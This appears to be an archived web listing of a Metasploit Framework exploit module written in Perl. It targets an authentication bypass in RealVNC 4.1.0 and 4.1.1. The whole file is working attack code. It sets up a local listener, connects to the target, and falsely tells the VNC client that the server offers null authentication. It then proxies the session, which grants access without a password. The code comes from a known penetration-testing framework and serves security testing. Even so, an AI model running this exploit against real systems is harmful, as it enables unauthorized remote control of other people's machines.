home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / realvnc_41_bypass.pm < prev    next >
Text File  |  2006-06-30  |  5KB  |  211 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::realvnc_41_bypass;
  11.  
  12. use strict;
  13. use base "Msf::Exploit";
  14. use Pex::Text;
  15. use IO::Socket::INET;
  16. use POSIX;
  17.  
  18. my $advanced = {};
  19. my $info =
  20.   {
  21.     'Name'           => 'RealVNC 4.1 Authentication Bypass',
  22.     'Version'        => '$Revision: 1.2 $',
  23.     'Authors'        => [ 'H D Moore <hdm[at]metasploit.com>' ],
  24.     'Description'    =>
  25.       Pex::Text::Freeform(qq{
  26.         This module exploits an authentication bypass flaw in version
  27.     4.1.0 and 4.1.1 of the RealVNC service. This module acts as a proxy
  28.     between a VNC client and a vulnerable server. Credit for this should
  29.     go to James Evans, who spent the time to figure this out after RealVNC
  30.     released a binary-only patch.
  31. }),
  32.  
  33.     'Arch'           => [  ],
  34.     'OS'             => [  ],
  35.     'Priv'           => 0,
  36.  
  37.     'UserOpts'       =>
  38.       {
  39.         'LPORT'   => [ 1, 'PORT', 'The local VNC listener port',  5900      ],
  40.         'LHOST'   => [ 1, 'HOST', 'The local VNC listener host', "0.0.0.0"  ],
  41.         'RPORT'   => [ 1, 'PORT', 'The remote VNC target port', 5900      ],
  42.         'RHOST'   => [ 1, 'HOST', 'The remote VNC target host'],
  43.         'AUTOCONNECT' => [1, 'DATA', 'Automatically launch vncviewer', 1],
  44.       },
  45.  
  46.     'Refs'            =>
  47.       [
  48.         ['URL', 'http://secunia.com/advisories/20107/']
  49.       ],
  50.  
  51.     'DefaultTarget'  => 0,
  52.     'Targets'        =>
  53.       [
  54.         [ 'RealVNC' ],
  55.       ],
  56.  
  57.     'Keys'           => [ 'realvnc' ],
  58.  
  59.     'DisclosureDate' => 'May 15 2006',
  60.   };
  61.  
  62. sub new
  63. {
  64.     my $class = shift;
  65.     my $self;
  66.  
  67.     $self = $class->SUPER::new(
  68.         {
  69.             'Info'     => $info,
  70.             'Advanced' => $advanced,
  71.         },
  72.         @_);
  73.  
  74.     return $self;
  75. }
  76.  
  77. sub Exploit
  78. {
  79.     my $self = shift;
  80.     my $server = IO::Socket::INET->new(
  81.         LocalHost => $self->GetVar('LHOST'),
  82.         LocalPort => $self->GetVar('LPORT'),
  83.         ReuseAddr => 1,
  84.         Listen    => 1,
  85.         Proto     => 'tcp');
  86.     my $client;
  87.  
  88.     # Did the listener create fail?
  89.     if (not defined($server))
  90.     {
  91.         $self->PrintLine("[-] Failed to create local VNC listener on " . $self->GetVar('LPORT'));
  92.         return;
  93.     }
  94.  
  95.     if ($self->GetVar('AUTOCONNECT') =~ /^(T|Y|1)/i) {
  96.         if (! fork()) {
  97.             system("vncviewer 127.0.0.1::".$self->GetVar('LPORT'));
  98.             exit(0);
  99.         }        
  100.     }
  101.  
  102.     $self->PrintLine("[*] Waiting for VNC connections to " . $self->GetVar('LHOST') . ":" . $self->GetVar('LPORT') . "...");
  103.  
  104.     while (defined($client = $server->accept()))
  105.     {
  106.         $self->HandleVNCClient(fd => Msf::Socket::Tcp->new_from_socket($client));
  107.     }
  108.  
  109.     return;
  110. }
  111.  
  112. # Stolen from InjectVNCStage.pm
  113. sub HandleVNCClient
  114. {
  115.     my $self = shift;
  116.     my ($fd) = @{{@_}}{qw/fd/};
  117.     my $rhost;
  118.     my $rport;
  119.  
  120.     # Set the remote host information
  121.     ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);
  122.  
  123.     # Create a connection to the target system
  124.     my $s = Msf::Socket::Tcp->new(
  125.         'PeerAddr' => $self->GetVar('RHOST'),
  126.         'PeerPort' => $self->GetVar('RPORT'),
  127.         'SSL'      => $self->GetVar('SSL')
  128.     );
  129.     
  130.     if ($s->IsError) {
  131.         $self->PrintLine('[*] Could not connect to the target VNC service: ' . $s->GetError);
  132.         $fd->Close;
  133.         return;
  134.     }
  135.     
  136.     my $res = $s->Recv(-1, 5);
  137.     
  138.     # Hello from server
  139.     if ($res !~ /^RFB 003\.008/) {
  140.         $self->PrintLine("[*] The remote VNC service is probably not vulnerable");
  141.     }
  142.     
  143.     # Send it to the client
  144.     $fd->Send($res);
  145.     
  146.     # Hello from client
  147.     $res = $fd->Recv(-1, 5);
  148.     if ($res !~ /^RFB /) {
  149.         $self->PrintLine("[*] The local VNC client appears to be broken");
  150.         $fd->Close;
  151.         $s->Close;
  152.         return;
  153.     }
  154.     # Send it to the server
  155.     $s->Send($res);
  156.     
  157.     # Read the authentication methods from the server
  158.     $res = $s->Recv(-1, 5);
  159.     
  160.     # Tell the client that the server only supports NULL auth
  161.     $fd->Send("\x01\x01");
  162.     
  163.     # Start pumping data between the client and server
  164.     if (! fork()) {
  165.         $self->PrintLine("[*] Proxying data between the connections...");
  166.         $self->VNCProxy($s->Socket, $fd->Socket);
  167.         exit(0);
  168.     }
  169.     return;
  170. }
  171.  
  172. sub VNCProxy {
  173.   my $self = shift;
  174.   my $srv = shift;
  175.   my $cli = shift;
  176.  
  177.   foreach ($srv, $cli) {
  178.     $_->blocking(1);
  179.     $_->autoflush(1);
  180.   }
  181.  
  182.   my $selector = IO::Select->new($srv, $cli);
  183.  
  184.   LOOPER:
  185.     while(1) {
  186.       my @ready = $selector->can_read;
  187.       foreach my $ready (@ready) {
  188.         if($ready == $cli) {
  189.           my $data;
  190.           $cli->recv($data, 8192);
  191.           last LOOPER if (! length($data));     
  192.           last LOOPER if(!$srv || !$srv->connected);
  193.           eval { $srv->send($data); };
  194.           last LOOPER if $@;
  195.         }
  196.         elsif($ready == $srv) {
  197.           my $data;
  198.           $srv->recv($data, 8192);
  199.           last LOOPER if(!length($data));
  200.           last LOOPER if(!$cli || !$cli->connected);
  201.           eval { $cli->send($data); };
  202.           last LOOPER if $@;
  203.         }
  204.       }
  205.     }
  206. }
  207.  
  208.  
  209. 1;
  210.  
  211.